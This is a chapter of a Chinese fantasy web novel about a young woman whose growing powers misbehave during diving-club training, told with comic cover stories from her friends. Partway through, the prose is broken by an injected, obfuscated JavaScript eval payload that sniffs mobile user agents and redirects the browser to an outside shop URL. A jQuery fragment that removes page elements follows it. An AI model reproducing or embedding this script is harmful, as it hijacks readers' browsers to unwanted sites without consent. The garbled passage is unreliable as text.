周日清晨，千叶满睁开眼睛的瞬间，就知道今天不对劲。


    不是那种“昨晚熬夜赶稿”的不对劲，也不是“宿醉头痛”的不对劲。而是一种更微妙、更奇怪的……身体里的“程序”出了bug的感觉。


    她躺在床上盯着天花板，尝试描述这种感觉。像是喝了三杯咖啡但只睡了四小时——精神亢奋但身体疲惫。又像是电脑同时开了太多程序——内存不足，运行卡顿。


    “神威。”她开口，声音带着刚醒的沙哑。


    客厅传来猫爪轻敲地板的声音，然后神威出现在卧室门口。它歪着头看她，琥珀色的猫眼里带着明显的审视：“汝醒了。然……气息紊乱。”


    “你也感觉到了？”


    “自然。”神威跳上床沿，“汝之‘灵力波动’如同……嗯，如同被顽童胡乱拨动的琴弦。虽未断裂，但音调杂乱。”


    千叶满坐起身，揉了揉太阳穴：“具体来说就是……我感觉身体里有东西在跳踢踏舞，还是没穿鞋的那种。”


    “比喻尚可。”神威点头，“此乃演化加速期风险初现。汝需谨慎控制能力使用强度，避免过载。”


    “过载会怎样？”


    “档案提及：能力失控、认知混乱、界域排斥反应等。”神威顿了顿，“简而言之……可能引发令人尴尬的场面。”


    千叶满叹了口气。她掀开被子下床，走向客厅：“先测试一下现在什么程度。”


    她拿起茶几上的苹果——大概200克重。集中精神，想象那股无形的力量托起苹果。


    苹果颤抖了一下，慢慢升起。离地十厘米，十五厘米，二十厘米……


    然后开始轻微地左右摇晃。不是稳定的悬浮，而是像在微风中摇摆的叶子，频率不规则，幅度忽大忽小。


    千叶满皱眉，加大控制力度。


    苹果摇晃得更厉害了，还在空中转了个圈，差点撞到吊灯。


    “停。”神威开口。


    千叶满松开控制，苹果掉回果盘，发出沉闷的撞击声。


    “控制精度下降约30%。”神威估算，“且稳定性显著降低。”


    “还有时间感知。”千叶满看向墙上的钟。


    秒针一格一格跳动，很正常。但在她的感知里，那些跳动……不均匀。像是有人偷偷调快了某些秒，调慢了另一些秒。一秒感觉像0.8秒，下一秒感觉像1.2秒，再下一秒恢复正常。


    “这是……时间卡顿？”她揉了揉眼睛，再看时钟，视觉上正常，但感知里依然紊乱。


    “认知异常初现。”神威走到她脚边，“今日训练，建议适度‘装傻’。”


    千叶满苦笑：“这倒是我的强项。”


    上午九点，伊豆海岸“蓝洞”区域。


    海风吹散了清晨的雾气，阳光在海面上铺开金色的光路。潜水社的成员们已经陆续抵达，正在检查装备。


    “哟，千叶君！”北原伊织朝她挥手，“昨天训练感觉怎么样？深度挑战有没有被震撼到？”


    “还好。”千叶满放下背包，“就是……晚上做梦都在潜水。”


    今村耕平推了推眼镜：“这说明你已经完全融入海洋的怀抱！这是好事！海洋在召唤你！”


    滨冈梓从后面拍了下他的脑袋：“好了，别在这儿演舞台剧了。千叶君，今天感觉怎么样？没有肌肉酸痛吧？”


    “有一点。”千叶满实话实说，“但……更多的是一种奇怪的感觉。”


    “奇怪的感觉？”古手川千纱走过来，“具体是什么？”


    “就像……”千叶满斟酌用词，“身体里有电流在乱窜？或者……程序在更新？”


    北原眼睛一亮：“我知道了！这是‘海洋适应综合征’！很多潜水员第一次长时间下海后都会出现！说明你的身体正在快速适应海洋环境！”


    今村反驳：“不对！这是‘深海共鸣现象’！身体在与海洋的节奏同步！我在《神秘海洋生理学》里读过！”


    滨冈梓叹气：“你们两个能不能让千叶君自己说完……”


    古手川看着千叶满：“如果不舒服的话，今天可以适当减少训练量。”


    “不用。”千叶满摇头，“我想试试。”


    她想试试，在风险初现的情况下，自己能控制到什么程度。


    古手川点点头：“那好。今天训练内容：水下导航竞赛、团队救援模拟。首先，基础技能复习——配重控制。”


    她指着地上的配重块：“每人选择一个合适重量的配重，练习精准控制和放置。千叶君，你从1kg的开始。”


    “明白。”


    千叶满走到1kg的配重块前。铅灰色的方块，在阳光下闪着金属光泽。她深吸一口气，蹲下身，手放在配重块上——但其实不需要接触，这只是为了掩饰。


    集中精神。


    想象那股力量。


    配重块颤抖了一下，然后慢慢升起。


    离地五厘米，十厘米，二十厘米……


    很好，很稳定。


    然后它开始旋转。


    不是平稳的旋转，而是……不规则的、抽风式的旋转。像被无形的手胡乱拨弄的陀螺，顺时针转半圈，逆时针转一圈，上下抖动，左右摇晃。


    “这是……”北原瞪大眼睛。


    配重块在空中跳起了诡异的舞蹈。它上下抖动，频率越来越快；左右摇晃，幅度越来越大；旋转方向随机切换，完全没有规律。


    持续了整整五秒。


    然后，像是突然断电，配重块停止所有动作，直直坠落，“咚”地一声砸在沙地上，砸出一个小坑。


    沉默。


    所有人都盯着那个配重块。


    北原第一个开口：“这……这是新型训练设备吗？‘随机干扰抗压测试系统’？模拟水下突发湍流？”


    今村摇头：“不对！这明显是海洋特殊磁场现象！配重块里的金属成分被磁场影响，产生了不规则运动！我在《未知海洋之谜》纪录片里看过类似现象！”


    滨冈梓扶额：“你们两个……这明显是设备故障吧。千叶君，这个配重块是不是有问题？要不要换一个？”


    千叶满面不改色：“可能是新装备不熟悉。我再试试。”


    她再次集中精神。


    这次配重块稳定升起，平稳移动，精准放回原位——完美。


    古手川若有所思地看着她，但没说什么，只是点点头：“很好。下一个项目。”


    水下导航竞赛。


    千叶满和古手川一组，其他成员在稍远处观察。任务：在能见度约10米的水域，根据指南针和地形记忆，完成预设路线的导航。


    下潜到12米深度。


    千叶满调整好浮力，开始导航。


    前五十米很顺利。她的感知稳定在半径18米，能清晰“感觉”到每一个转弯、每一处珊瑚礁、每一条鱼群的轨迹。


    然后，时间感知开始紊乱。


    在她的感知里，周围的一切速度变得不均匀。鱼群的游动忽快忽慢，像是视频被随机调整了播放速度。水流的波动节奏混乱，前一秒还是舒缓的涌动，下一秒变成急促的冲击。


    最要命的是，这种紊乱影响了她自己的身体控制。


    她感觉自己的浮力……失调了。像是喝醉了一样，身体不受控制地上下浮动。上升十厘米，下降十五厘米，再上升五厘米，又下降二十厘米。


    “千叶君？”古手川的手在她面前晃了晃，眼神带着询问。


    千叶满摇头表示没事，但内心在疯狂吐槽：这不是没事！这是大事！我的身体在跳蹦床而我控制不了！


    她尝试集中精神稳定浮力。深呼吸，放松，想象自己是稳定的锚……


    上升三十厘米。


    “……”千叶满放弃抵抗，直接用手势表示：“有点不舒服，可能早饭吃太急，反胃。”


    古手川理解地点头：“那就先上去休息一下。潜水前饮食确实要注意。”


    浮出水面时，时田信治关切地问：“千叶君，身体不舒服吗？要不要提前结束训练？”


    “不用。”千叶满摘下潜水面镜，“就是有点反胃。休息一下就好。”


    今村凑过来：“我知道！这是‘海洋节奏失调症’！身体还没完全适应海洋的昼夜节律！多吃点海藻类食物可以调节！”


    北原：“不对！是‘潜水员醉氮’的轻微前兆！虽然深度不深，但有些人特别敏感！”


    滨冈梓：“你们两个……千叶君都说只是早饭问题了。好了，先休息十分钟。”


    千叶满走到一旁坐下，神威跟了过来。


    “如何？”神威用意念沟通。


    “时间感知喝醉了。”千叶满在心里回应，“还有感知范围……刚才突然从18米缩小到5米，三秒后恢复。像wifi信号不好，还带掉线的。”


    “风险初现确认。”神威蹲在她脚边，“需制定掩饰策略。”


    “已经在做了。”千叶满看着远处还在争论“海洋病症”的北原和今村，“看来效果不错。”


    训练间隙，第一个图案出现。


    北原正在检查自己的潜水镜——他今早刚买的新款，据说有“超强防雾涂层”。他戴上面镜，调整位置，然后突然“咦”了一声。


    “怎么了？”滨冈梓问。


    “镜片里面……”北原摘下潜水镜，凑近看，“有图案？刚才在发光？”


    “什么图案？”今村凑过来。


    北原把潜水镜递给他：“你看，镜片内侧，刚才有一瞬间出现了发光的复杂纹路，像……像某种几何图案。”


    今村接过潜水镜，对着光仔细看：“什么都没有啊。就是普通的镜片。你是不是昨晚熬夜看漫画出现幻觉了？”


    “真的有！”北原抢回潜水镜，“刚才还在发光！微弱的光，但很明显！”


    滨冈梓也看了看：“可能是水珠反射阳光产生的光学现象。好了，准备下一轮训练。”


    北原不甘心地又看了几眼，但图案已经消失。他摇摇头，把潜水镜放回包里：“新款防雾涂层的艺术设计？还挺酷的。”


    千叶满和神威交换眼神。


    “记录者开始行动了。”神威意念传来。


    “而且品味独特。”千叶满回应，“第一个地点选在北原的潜水镜里……这是想测试什么？观察员的观察力？”


    “或是单纯的恶作剧。”


    午餐前，第二个图案出现。


    今村打开自己的便当盒——他今天特意做了“海洋主题便当”：米饭用海苔包成小船形状，配菜是炸虾（海洋生物）和西兰花（海藻），还有切成星星形状的胡萝卜（海底宝藏？）。


    他拿起一片装饰用的海苔，正要放进嘴里，突然停住了。


    “哇！”今村眼睛发光，“便利店新出的‘神秘海洋系列’限定图案海苔！”


    众人看向他手里的海苔。


    在海苔深紫色的表面上，有微弱的冷光纹路在流动。复杂的几何图案，线条交错，组成某种看不懂但很有设计感的图形。


    持续了三秒。


    然后光芒消失，海苔恢复普通模样。


    “什么图案？”北原抢过海苔，“我看看……什么都没有啊。就是普通海苔。”


    “真的有！”今村抢回来，“刚才还在发光！蓝色和白色的光，图案超级复杂！我要收集全套限定系列！”


    滨冈梓叹气：“海苔怎么会发光……你是不是把荧光贴纸掉进去了？”


    “没有！”今村仔细检查便当盒，“真的是海苔本身在发光！这是新品！神秘海洋系列！我要去便利店问清楚！”


    千叶满默默吃着自己的三明治。


    “第二个。”神威意念传来，“地点逐渐离谱。”


    “从潜水镜到海苔。”千叶满回应，“下一个会是什么？北原的内裤？”


    神威的尾巴轻轻摆动：“此等猜测……不合礼仪。但……不无可能。”


    下午训练结束后，众人回到更衣室。


    这是第三个图案出现的时刻——也是本章的爆笑巅峰时刻。


    更衣室里充斥着海水和防晒霜的味道。大家脱下湿透的潜水服，换上干爽的衣服。


    北原站在自己的储物柜前，背对镜子，正准备换内裤。他脱掉湿衣服，拿起干净的内裤——


    “北原！”今村突然惊呼。


    “怎么了？”北原回头。


    “你内裤后面！”今村指着北原手里的内裤，“有东西在发光！”


    所有人的目光集中过来。


    北原低头看手里的内裤——普通的纯棉白色内裤，没什么特别。但他扭头看向镜子，想看看自己背后……


    看不到。


    “哪里发光？”北原问。


    “内裤屁股位置！”今村凑近，眼睛瞪大，“真的！在发光！蓝色和白色的光，组成复杂的图案！和刚才海苔上的图案有点像，但更复杂！”


    滨冈梓捂脸：“你们两个能不能正经点……”


    但时田和寿也被吸引过来了。时田眯起眼睛：“确实……有微弱的光。持续发光中。”


    寿龙次郎点头：“嗯，在闪烁。”


    北原赶紧脱下内裤（已经穿了一半），翻过来仔细看：“没有啊？就是普通纯棉内裤。哪里发光？”


    图案在脱下后消失了。


    内裤在众人手中传了一圈，每个人都仔细检查。普通的白色纯棉，没有任何发光痕迹。


    “刚才真的有！”今村坚持，“内裤屁股位置，发光的图案持续了至少三秒！”


    北原皱眉思考：“难道是……限量版潮流内裤？我什么时候买的？不记得买过这种啊……”


    今村眼睛一亮：“或者是有特殊功能的健身内裤！可以监测肌肉活动的那种！发光图案就是传感器显示！”


    滨冈梓忍无可忍：“你们两个够了……快点换衣服。其他人都在等着用更衣室。”


    北原和今村还在争论“发光内裤”的可能性，其他人已经换好衣服陆续离开。


    千叶满憋笑憋到内伤。她快速换好衣服，冲出更衣室，一到外面就忍不住笑出来。


    “噗……内裤……内裤后面……”她扶着墙，笑得眼泪都出来了。


    神威跟在她身后，尾巴轻轻拍她的小腿：“冷静。注意形象。”


    “但是……内裤！”千叶满擦掉笑出来的眼泪，“记录者的恶作剧……内裤后面！这品味……绝了！”


    “至少证明记录者……有幽默感。”神威顿了顿，“虽然品味独特。”


    更衣后，千叶满查看手机——第四个图案。


    她的手机锁屏壁纸自动更换了。


    原本是普通的风景照，突然变成熟悉的发光纹路——蓝色和白色的几何图案，在黑色背景上缓缓流动，像有生命般扭动、重组。


    持续五秒。


    然后恢复原状。


    神威跳上她的膝盖，看着手机：“此乃……记录者的恶作剧升级。从他人物品转向汝之私人物品。”


    “至少没出现在我的内裤上。”千叶满收起手机，“这点还是要感谢的。”


    “团体反应趋势已确认。”神威分析，“从‘巧合/幻觉’到‘有点诡异’，但用更离谱的理论圆回来。掩饰效果良好。”


    “所以我们的策略是……”千叶满想了想，“不解释，让他们自己编故事？”


    “正是。人类擅长为异常现象寻找合理解释，即使那解释比现象本身更离谱。”


    “有道理。”


    午餐时间，海岸遮阳棚下。


    大家围坐在一起吃着便当。话题自然又回到了“千叶君的特殊体质”上——这次由北原的内裤事件引发。


    “所以，”滨冈梓放下饭团，看向千叶满，“今天发生了这么多奇怪的事——配重块跳舞，时间感知异常，还有各种发光图案。千叶君，你到底有什么特殊体质？老实交代。”


    所有人的目光集中过来。


    千叶满喉咙发干。她喝了口水，努力让声音平稳：“我真的……没什么特殊体质。可能就是……天赋比较好？加上小时候训练？”


    “不对。”北原摇头，“这已经不是天赋能解释的了。我有个假设——”


    他放下筷子，摆出“名侦探推理”的姿势：“千叶君其实是改造人！或者装了义体！”


    “证据！”北原竖起手指，“第一，水下表现太完美，反应速度超人类，肯定是装了内置电脑和传感器！第二，刚才配重块跳舞就是程序bug！需要更新驱动！第三，发光图案可能是某种数据可视化界面，不小心投影出来了！”


    今村反驳：“什么改造人太没想象力了！千叶君明明是古代亚特兰蒂斯后裔！”


    “哈？”


    “证据！”今村也竖起手指，“第一，能发现金属板（那明显是亚特兰蒂斯遗物）！第二，水下适应性强，亚特兰蒂斯人就是海洋文明！第三，发光图案是亚特兰蒂斯文字！他在无意识中书写祖先的文字！”


    滨冈梓被逗笑了：“你们两个的假设一个比一个离谱。我有个更合理的——”


    她笑着看向千叶满：“千叶君其实是魔法少女转世。”


    “……什么？”


    “证据！”滨冈梓模仿他们的姿势，“第一，平时看起来普通，关键时刻爆发，这是魔法少女的标准设定！第二，有‘契约兽’神威！第三，发光图案就是魔法阵！至于内裤上的……嗯，可能是特殊圣痕？”


    时田信治无奈地摇头：“你们能不能正经点。”他转向千叶满，“千叶君，我比较相信你的说法——罕见运动天赋加上特殊训练。很多奥运选手也有异常天赋，加上科学训练就能创造奇迹。你小时候受过的训练，加上天生的适应能力，这能解释大部分表现。”


    寿龙次郎补充：“说不定是吃了什么特殊海鲜？伊豆这边传说有‘智慧之鱼’，吃了会获得海洋的智慧……”


    北原眼睛一亮：“智慧之鱼？哪里有卖？我也要吃！”


    今村：“我要去找智慧之鱼！肯定在深海某个地方！下次训练我们去找找！”


    古手川千纱一直安静听着，这时才开口：“好了，玩笑开够了。”


    她看向千叶满，眼神温和而认真：“不管千叶君有什么特殊体质或能力，有两点是确定的：第一，你是我们潜水社的一员。第二，你从来没有因为自己的能力而轻视或伤害任何人。”


    停顿一下，她继续说：“所以，不管是什么，我们都接受。而且……”


    她的目光变得更加柔和：“等你愿意说的时候，我听着。不用急，不用有压力。”


    千叶满感觉喉咙有些发紧。


    她低头看着自己的便当盒，轻声说：“谢谢。”


    谢谢你们愿意接受一个异常的我。


    谢谢你们用这么离谱的方式为我打掩护。


    谢谢你们……让我感觉自己是正常的。


    午餐在温暖的气氛中继续。北原和今村又开始争论“智慧之鱼”的具体特征和烹饪方法，滨冈梓吐槽“你们两个先找到再说”，时田和寿笑着看他们闹。


    千叶满默默吃完自己的三明治。


    “如何？”神威意念传来。


    “感觉……”千叶满在心里回应，“有点想哭，又有点想笑。”


    “此乃友谊之力。”神威说，“虽不能解决演化问题，但能提供支撑。”


    “嗯。”


    下午训练间隙，海上休息平台。


    地狱联络符闪烁了。


    神威走到平台角落，用爪子轻触令牌。暗紫色的光芒流动，信息传入意识。


    千叶满坐在旁边，假装看海，实际在等待。


    几分钟后，神威走回来，跳上她旁边的长椅。


    “第二批档案解密完成。”神威意念传来，“关键信息如下——”


    它开始传达信息。


    实验监督者：代号“观测者”。真实姓名加密，权限不足无法读取。


    特征描述：


    偏好量化记录和进度管理（“演化进度：XX%”风格）


    使用特定几何语言作为交流媒介（那些发光纹路）


    重视实验体的自主性和演化自发性（强调“最小干预”）


    有轻微恶作剧倾向（批注原文：“喜欢在非侵入前提下制造‘惊喜’，如在实验体社交圈内制造无害异常现象，观察其反应及社交圈处理方式。”）


    设计部门：天界“跨界适应性演化研究科”。不是“设计部”，更强调“观察研究”而非“设计创造”。


    安全协议摘要：风险与三个因素相关——能力使用强度、情绪稳定性、环境适应性。建议“渐进适应，避免过载”。


    设计者线索：观测者签名处有一个简笔画——模糊的人形轮廓，手里拿着发光的平板。平板屏幕上显示着复杂的纹路和数据流。


    神威总结：“‘观测者’与‘记录者’很可能为同一存在。其特征——恶作剧倾向——解释了今日图案出现的位置选择。”


    千叶满消化着这些信息。


    “所以，”她缓缓开口，“观测者……记录者……是一个喜欢恶作剧、重视我的自主性、用几何语言沟通、还给我量化进度条的存在？”


    “正是。”


    “而且今天的内裤图案……是故意的恶作剧？为了观察我们怎么反应？”


    “档案批注支持此推测。”


    千叶满沉默了一会儿，然后笑了。


    “至少知道观察者……有点人性化。”她说，“虽然恶作剧品味独特。”


    “至少未选择更尴尬的位置。”神威顿了顿，“比如……当面出现。”


    “那倒是要感谢。”


    训练结束，海岸边整理装备。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153053|196315||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    千叶满拿出自己的潜水日志本——古手川要求每个人记录训练心得和进步。她翻开本子，准备写今天的记录。


    然后看到了。


    在空白页面上，熟悉的发光纹路浮现。


    和之前的图案不同，这次纹路组成了明确的文字：


    “演化进度：18%”


    光芒持续了五秒，然后消失。页面上干干净净，没有任何痕迹。


    千叶满盯着那一页。


    18%。


    昨天还是14%，24小时增长了4%。照这个速度……


    她在心里快速计算：到100%还需要82个百分点。如果每天增长4%，需要20.5天。不到三周。


    但速度可能加速，也可能减速。


    “千叶君。”北原的声音从旁边传来。


    千叶满吓了一跳，赶紧合上日志本：“怎么了？”


    “你的训练笔记，”北原好奇地看着她手里的本子，“用荧光墨水写的？刚才在发光。”


    “……嗯。”千叶满顺着他的话，“新型防水荧光笔，水下也能写。我在测试效果。”


    “酷！”北原眼睛发光，“哪里买的？我也要！这样晚上训练也能做笔记了！”


    “网上……随机买的。不记得具体店铺了。”


    “可惜。”北原有些失望，但很快又振作起来，“下次找到告诉我！”


    他走开后，千叶满重新打开日志本。页面空白。


    “18%。”她低声说。


    神威跳上她的膝盖：“速度计算？”


    “照这个匀速，不到三周到100%。”千叶满看着远处的海面，“但可能加速，也可能遇到瓶颈减速。”


    “汝在担忧。”


    “嗯。”千叶满承认，“神威，100%的时候……我会变成什么？”


    神威沉默了几秒。


    “未知。”它最终说，“但无论变成什么，汝仍是吾之契约者。”


    “如果变成……奇怪的东西呢？”千叶满半开玩笑半认真，“比如浑身发光？或者长出触手？或者……变成一团光？”


    “那便向潜水社解释为‘新型海洋共生体’。”神威一本正经，“他们想必能接受。毕竟今日已接受‘改造人’‘亚特兰蒂斯后裔’‘魔法少女’等假设。”


    千叶满被逗笑了：“谢谢你的安慰，虽然更恐怖了。”


    “此乃事实。”


    傍晚，千叶满公寓。


    风险应对尝试开始。


    千叶满站在客厅中央，面前摆着各种重量的物体：苹果（200克）、书（500克）、水杯（300克）、小哑铃（1kg）。


    “首先，”她说，“测试情绪影响。”


    她先尝试在紧张状态下控制苹果——想象自己正在考试，时间紧迫，必须成功。


    苹果升起，然后开始疯狂旋转。顺时针转三圈，逆时针转两圈，上下跳动，左右摇摆。持续十秒后，千叶满头昏眼花地松开控制，苹果“砰”地掉地上。


    “失控加剧。”神威记录。


    然后尝试放松状态。深呼吸，想象自己在海滩上晒太阳，听着海浪声。


    苹果平稳升起，稳定悬浮，缓缓移动，精准放回原处——完美。


    “情绪稳定性显著影响控制精度。”神威总结，“紧张时失控率提升300%以上。”


    “第二项，”千叶满说，“使用强度阈值。”


    她尝试控制不同重量的物体：


    100克（小橘子）：稳定，持续1分钟无异常


    200克（苹果）：稳定，持续30秒后轻微颤抖


    300克（水杯）：稳定，但需要更多注意力


    500克（书）：升起后开始不规则晃动，10秒后失控


    1kg（哑铃）：几乎无法控制，刚升起就疯狂旋转后坠落


    “安全阈值约300克。”神威判断，“超过此重量，失控风险指数增长。”


    “第三项，”千叶满擦了擦汗，“环境适应性对比。”


    她在公寓里（陆地环境）测试控制能力：稳定但力量较弱，300克是极限。


    然后想象海洋环境的感觉——回忆在水下的感知，水的浮力，水流的声音……


    控制能力增强。她能感觉到“力量”变大了，但控制难度也增加了。像是开了高性能模式但散热跟不上，容易过热死机。


    “海洋环境增强能力但降低稳定性。”神威分析，“陆地环境相反。需针对不同环境调整使用策略。”


    “所以初步策略是……”千叶满思考，“小重量多次练习，避免一次性突破。情绪管理训练。环境适应练习。”


    “类似健身的‘渐进超负荷’原则。”神威点头，“合理。”


    “情绪管理怎么练？”千叶满问，“冥想？深呼吸？”


    “汝需修行心性。”神威跳到茶几上，摆出严肃姿势，“吾可传授‘静心之法’——首先，盘腿坐下……”


    “等等，猫也可以教冥想？”


    “吾虽为猫形，但心性修行已逾千年。”神威一本正经，“听好了：第一式，闭目调息；第二式，意念归一；第三式……”


    千叶满忍不住笑出来：“好了好了，我相信你。不过现在先试试简单的方法——深呼吸，数到十。”


    她尝试深呼吸。吸气，数到四；屏气，数到七；呼气，数到八。


    重复几次后，感觉确实平静了一些。


    “有效。”神威认可，“虽简陋，但实用。”


    “环境适应练习呢？”千叶满问，“怎么在陆地上模拟海洋环境？在浴缸里练习？”


    “可尝试在淋浴时练习。”神威建议，“水流声可模拟海洋环境音效，湿润环境亦有助感知。”


    “有道理。”


    初步策略就这样定下来了。小重量渐进练习，情绪管理，环境适应。


    虽然不能解决根本问题，但至少有了应对方向。


    深夜，卧室。


    千叶满准备睡觉前，发现了新的异常。


    她正在洗手间刷牙，抬头看镜子时，注意到了自己的手掌。


    手掌边缘……在发光。


    不是之前那种微弱的、几乎看不见的荧光。而是明显的、可见的冷光。蓝色和白色的光，从皮肤下透出来，集中在手掌边缘和手指关节处。


    她屏住呼吸，盯着自己的手。


    光在缓缓流动，像是有生命般沿着皮肤纹理移动。强度足够在黑暗的洗手间里照亮周围一小片区域。


    持续了整整十分钟。


    然后逐渐减弱，但未完全消失。现在手掌边缘还有微弱的荧光，像涂了夜光涂料。


    “神威。”她低声唤道。


    神威从卧室走来，跳上洗手台，盯着她的手。


    “此乃演化加速的物理显化。”神威语气严肃，“灵力外溢，具象化为可见光。”


    “如果明天全身发光……”千叶满苦笑，“怎么解释？‘新型夜光护肤品’？”


    “或曰‘海洋荧光生物附着’。”神威一本正经地提供借口，“汝在训练中接触了某种发光藻类，产生暂时性荧光反应。”


    “这个借口……意外的合理。”


    “需监测是否扩散。”神威说，“若扩散至全身，则需更完善的解释方案。”


    千叶满看着自己的手。光在缓缓脉动，像呼吸的节奏。


    18%。还在加速。


    她洗漱完毕，回到卧室躺下。关灯后，手掌的荧光在黑暗中更加明显，像两个小小的蓝色灯笼。


    “睡觉吧。”她对自己说，“明天再说。”


    闭上眼睛。


    梦境很快降临。


    这次的梦境比之前清晰得多。


    不再是纯白色的模糊空间。而是一个……像是实验室又像是书房的地方。墙壁是柔和的浅灰色，上面挂着发光的几何图案装饰（和那些纹路一样）。房间中央有一张宽大的桌子，桌子上摆着发光的平板和几本厚重的书。


    桌子后面，坐着一个人形的轮廓。


    依然看不清面容，但能看出是人形。穿着简单的长袍式服装，手里拿着发光的平板，正在上面记录着什么。


    那应该就是“观测者”。


    观测者似乎感觉到了千叶满的存在，抬起头来——虽然看不清脸，但千叶满能感觉到对方在“看”她。


    然后，一个声音直接在意识中响起。和之前的神秘声音不同，这次的声音更加清晰，带着一种……学术性的平静。


    “适应得不错。”


    停顿一下。


    “第二阶段，加速期开始。”


    再停顿。


    “有趣的选择……”


    观测者似乎在思考什么，平板上的光芒闪烁了几下。


    “你让他们参与故事的选择。”


    “继续观察。”


    梦境开始模糊。千叶满想开口问“什么选择？”，但发不出声音。


    观测者的轮廓逐渐淡去，最后消失。


    梦境结束。


    千叶满睁开眼睛。卧室里一片黑暗，只有手掌的微弱荧光提供一点光源。


    她摸到手机，点亮屏幕——凌晨一点半。


    有一条未读短信。


    来自古手川千纱。


    “千叶君，今天训练辛苦了。我知道你不止‘特殊训练’那么简单。潜水社的大家都很喜欢你，所以……等你愿意说的时候，我听着。不用急。——古手川”


    发送时间：晚上十一点。


    千叶满盯着这条短信看了很久。


    然后回复：“谢谢。等我想清楚怎么说的时候……可能还需要一点时间。——千叶”


    发送。


    她放下手机，重新躺下，盯着天花板。


    手掌的荧光在黑暗中缓缓脉动。


    18%。


    演化进度18%。


    照这个速度，不到三周到100%。


    加速期开始。


    观测者在观察。


    潜水社在等待。


    她在……变化。


    “神威。”她轻声唤道。


    床边传来轻微的动静，然后神威跳上床，在她枕头边趴下。


    “我在。”神威用意念回应。


    “100%的时候……”千叶满看着自己的手掌，荧光映在她的眼睛里，“我还会是我吗？”


    神威沉默了一会儿。


    然后用尾巴轻轻卷住她的手腕。


    简单的动作，巨大的重量。


    千叶满闭上眼睛。


    窗外的夜色很深，远处传来隐约的海浪声。伊豆在沉睡，世界在运转。


    而她，在演化。


    手掌的荧光缓缓脉动，像心跳的节奏。


    18%。


    还在继续。